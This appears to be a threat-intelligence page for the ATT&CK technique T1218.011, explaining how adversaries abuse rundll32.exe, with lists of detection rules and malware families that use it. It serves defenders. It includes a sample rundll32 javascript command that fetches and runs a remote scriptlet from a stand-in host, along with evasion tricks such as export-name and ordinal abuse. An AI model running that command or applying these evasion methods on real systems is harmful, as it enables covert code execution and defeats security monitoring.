T1218.011 Rundll32 — ATT&CK Technique
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
Detection coverage (50)
- Rhadamanthys Stealer Module Launch Via Rundll32.EXE medium
- Kapeka Backdoor Loaded Via Rundll32.EXE high
- Potential Raspberry Robin CPL Execution Activity high
- Kapeka Backdoor Execution Via RunDLL32.EXE high
- DLL Call by Ordinal Via Rundll32.EXE medium
- Shell32 DLL Execution in Suspicious Directory high
- Remote Thread Creation Via PowerShell In Uncommon Target medium
- SCR File Write Event medium
- Unsigned DLL Loaded by Windows Utility medium
- Outbound Network Connection To Public IP Via Winlogon medium
- Rundll32 Internet Connection medium
- Process Access via TrolleyExpress Exclusion high
- HTML Help HH.EXE Suspicious Child Process high
- HackTool - F-Secure C3 Load by Rundll32 critical
- CobaltStrike Load by Rundll32 high
- Suspicious HH.EXE Execution high
- HackTool - RedMimicry Winnti Playbook Execution high
- Code Execution via Pcwutl.dll medium
- Potentially Suspicious Rundll32 Activity medium
- Rundll32 InstallScreenSaver Execution medium
- Suspicious Rundll32 Setupapi.dll Activity medium
- Suspicious Control Panel DLL Load high
- Suspicious Rundll32 Activity Invoking Sys File high
- RunDLL32 Spawning Explorer high
- Suspicious ShellExec_RunDLL Call Via Ordinal high
- Rundll32 Execution With Uncommon DLL Extension medium
- Suspicious Rundll32 Execution With Image Extension high
- Potentially Suspicious Rundll32.EXE Execution of UDL File medium
- Rundll32 UNC Path Execution high
- Bad Opsec Defaults Sacrificial Processes With Improper Arguments high
- Potential PowerShell Execution Via DLL high
- ScreenSaver Registry Key Set medium
- Rundll32 Control RunDLL World Writable Directory
- Rundll32 LockWorkStation
- Rundll32 with no Command Line Arguments with Network
- Rundll32 Control RunDLL Hunt
- Rundll32 Process Creating Exe Dll Files
- RunDLL Loading DLL By Ordinal
- Suspicious IcedID Rundll32 Cmdline
- Suspicious Rundll32 dllregisterserver
- Suspicious Rundll32 no Command Line Arguments
- Suspicious Rundll32 PluginInit
- Suspicious Rundll32 StartW
- ZxShell Malware critical
- Windows Application Whitelisting Bypass Attempt via Rundll32
- Windows LOLBAS Executed Outside Expected Path
- Windows LOLBAS Executed As Renamed File
- Windows Rundll32 Apply User Settings Changes
- Windows Rundll32 Load DLL in Temp Dir
- Windows Rundll32 with Non-Standard File Extension
Malware using this technique
- PowerDuke
- BLINDINGCAN
- Ninja
- Bumblebee
- NOKKI
- Backdoor.Oldrea
- Emissary
- NotPetya
- Matryoshka
- MegaCortex
- StreamEx
- Bad Rabbit
- EnvyScout
- GreyEnergy
- Prikormka
- Squirrelwaffle
- PolyglotDuke
- FlawedAmmyy
- InvisiMole
- Raspberry Robin
- Mispadu
- IcedID
- Ragnar Locker
- FatDuke
- PUNCHBUGGY
- Pteranodon
- CORESHELL
- Bisonal
- Cobalt Strike
- SUNBURST
- Mongall
- SVCReady
- Elise
- USBferry
- Latrodectus
- Briba
- EVILNUM
- Heyoka Backdoor
- KONNI
- gh0st RAT
- JHUHUGIT
- Attor
- SDBbot
- Mosquito
- RTM
- StrelaStealer
- Sakula
- Sibot
- Kapeka
- ServHelper